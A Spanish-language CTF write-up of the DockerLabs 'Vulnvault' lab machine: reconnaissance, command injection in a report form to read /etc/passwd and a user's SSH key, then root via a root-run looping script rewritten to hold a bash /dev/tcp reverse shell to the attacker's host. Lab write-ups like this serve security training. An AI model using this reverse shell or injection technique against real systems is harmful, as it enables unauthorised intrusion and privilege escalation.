Maquina Vulnvault
- OS: Linux
- Plataforma: DockerLabs
- Nivel: Easy
- Tags: #command-injection #ssh #cron-abuse #reverse-shell
Reconocimiento¶
Comienzo tirando un ping para comprobar la conectividad.
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.164 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.164/0.164/0.164/0.000 ms
Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.
> sudo nmap -p- --open -sS --min-rate 5000 -Pn -n 172.17.0.2
--------------------------------------------------------------
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
- Puertos 22 y 80 abiertos.
Sobre los puertos abiertos realizo un segundo escaneo más profundo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
> nmap -p 22,80 -Pn -n --min-rate 5000 -sCV -sS 172.17.0.2 -oN target.txt
-------------------------------------------------------------------------
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f5:4f:86:a5:d6:14:16:67:8a:8e:b6:b6:4a:1d:e7:1f (ECDSA)
|_ 256 e6:86:46:85:03:d2:99:70:99:aa:70:53:40:5d:90:60 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Generador de Reportes - Centro de Operaciones
MAC Address: AA:58:E1:5F:A8:6B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Puerto 22 SSH OpenSSH 9.6p1 Ubuntu 3ubuntu13.4
- Puerto 80 HTTP Apache httpd 2.4.58 (Ubuntu)
Enumeración¶
Puerto 80 HTTP¶
La página principal muestra un generador de reportes que permite crear reportes con nombre y fecha, devolviendo la ruta donde se guardó y el contenido indicado.
También existe una pestaña para subir archivos.
Fuzzing de Directorios.
Utilizo gobuster para descubrir posibles recursos en el servidor web.
> gobuster dir -w /home/wndr/Tools/dictionaries/SecLists/Discovery/Web-Content/raft-medium-directories.txt -u http://172.17.0.2/ -x html,php,py,js,txt
----------------------------------------------------------------------------------------------------------------------------------------------------------
/scripts.js (Status: 200) [Size: 1090]
/upload.html (Status: 200) [Size: 2314]
/upload.js (Status: 200) [Size: 1645]
/upload.php (Status: 200) [Size: 33]
/old (Status: 301) [Size: 306] [--> http://172.17.0.2/old/]
/index.php (Status: 200) [Size: 2953]
/server-status (Status: 403) [Size: 275]
/reportes (Status: 301) [Size: 311] [--> http://172.17.0.2/reportes/]
scripts.js: Script para animación de la barra de progresoupload.htmleindex.php: Pestañas principales de la aplicaciónupload.php: Script backend para subir archivosold/: Versión antigua de la aplicación (sin contenido relevante)reportes/: Directorio donde se guardan los reportes generados
Explotación¶
Intento de Subida de Reverse Shell¶
Mi primer enfoque fue intentar subir una reverse shell PHP mediante la funcionalidad de upload.
El archivo se sube correctamente, pero no encuentro un directorio accesible para ejecutarlo.
Command Injection en el Generador de Reportes¶
Decido probar inyección de comandos en el formulario del generador de reportes. Intento inyectar comandos directamente en el campo de nombre.
El servidor no interpreta el comando, simplemente lo trata como texto literal.
Mi hipótesis es que internamente el servidor ejecuta algo similar a:
Bypass mediante Separador de Comandos¶
Intento usar el separador ; para encadenar comandos. Los separadores de comandos en bash permiten ejecutar múltiples comandos secuencialmente.
Internamente, esto debería resultar en:
El servidor interpreta correctamente el comando y vuelca el contenido de /etc/passwd.
- Descubro un usuario llamado
samara
Extracción de Clave SSH¶
Con la capacidad de ejecutar comandos, tengo varias opciones: - Establecer una reverse shell - Fuerza bruta SSH con hydra - Leer la clave SSH privada de samara
Opto por leer la clave SSH privada, ya que una reverse shell me daría acceso como www-data y probablemente necesitaría migrar a samara de todas formas.
La clave SSH se vuelca correctamente.
Descargo la clave en mi sistema, ajusto los permisos y me conecto por SSH.
> chmod 600 key
> ssh -i key samara@172.17.0.2
---------------------------------
samara@ad7c505509df:~$ whoami
samara
samara@ad7c505509df:~$ id
uid=1000(samara) gid=1000(samara) groups=1000(samara)
Escalada de Privilegios¶
Dentro del sistema enumero el contenido del directorio home.
samara@ad7c505509df:~$ ls
message.txt user.txt
samara@ad7c505509df:~$ cat message.txt
No tienes permitido estar aqui :(.
samara@ad7c505509df:~$ cat user.txt
030208509edea7480a10b84baca3df3e
El archivo user.txt contiene un hash MD5 (32 caracteres). Intento crackearlo con john y hashcat sin éxito.
Enumeración de Procesos de Root¶
Busco procesos ejecutados por el usuario root.
> ps aux | grep root
-----------------------------------------------------------------------------------------------------------------------------------------------------------------
root 1 5.1 0.0 2800 1748 ? Ss 02:32 3:23 /bin/sh -c service ssh start && service apache2 start && while true; do /bin/bash /usr/local/bin/echo.sh; done
Encuentro un bucle infinito que ejecuta el script /usr/local/bin/echo.sh como root.
Modificación del Script para Reverse Shell¶
Como el script es ejecutado periódicamente por root, puedo modificarlo para establecer una reverse shell.
Me pongo en escucha en mi máquina atacante.
Modifico el contenido del script echo.sh.
> nano /usr/local/bin/echo.sh
samara@ad7c505509df:~$ cat /usr/local/bin/echo.sh
#!/bin/bash
bash -i >& /dev/tcp/172.17.0.1/443 0>&1
Después de unos segundos, el proceso ejecutado por root ejecuta el script modificado y recibo la conexión.
> Connection received on 172.17.0.2 57956
root@ad7c505509df:/# whoami
root
root@ad7c505509df:/# id
uid=0(root) gid=0(root) groups=0(root)
PWNED









